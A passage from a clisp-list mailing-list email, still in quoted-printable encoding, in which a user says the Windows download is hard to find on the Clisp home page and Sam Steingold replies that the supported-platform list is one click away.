directly, because the=20 > only mention=20 > > of Windows on the main Clisp page is for Cygwin. Yes, if=20 > you click on=20 > > downloads you will get to a win32 binary. But it takes a little=20 > > perseverance to find, and it may be turning away people new to lisp=20 > > that would otherwise like to use Clisp. >=20 > yes, all it takes is to click on "what is clisp" to see the=20 > list of supported platforms. >=20 >=20 > -- > Sam Steingold (http://sds.podval.org/) on Fedora release 7=20 > (Moonshine) http://dhimmi.com http://thereligionofpeace.com=20 > http://mideasttruth.com http://honestreporting.com=20 > http://memri.org http://jihadwatch.org Please wait, MS=20 > Windows are preparing the blue screen of death. >=20 > -------------------------------------------------------------- > ----------- > This SF.net email is sponsored by: Splunk Inc. > Still grepping through log files to find problems? Stop. > Now Search log events and configuration files using AJAX and=20 > a browser. > Download your FREE copy of Splunk now >>=20 > http://get.splunk.com/ _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list >=20 Attention Email Disclaimer Notice - This message is the property of AAMHatch. The i= nformation in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you ar= e not the intended recipient, any disclosure, copying, distribution or an= y action taken or omitted to be taken in reliance on it is prohibited and= =20may be unlawful. If you have received this message in error please notify AAMHatch immedia= tely via email to mailadmin@aamhatch.com.au =20 This email has been scanned and cleared by NetIQ Mail Marshal, however AA= MHatch does not guarantee this message free of viruses, or interference. = ________________________________

<= font face=3D"Batang">From Anywhere! At Your Convenience!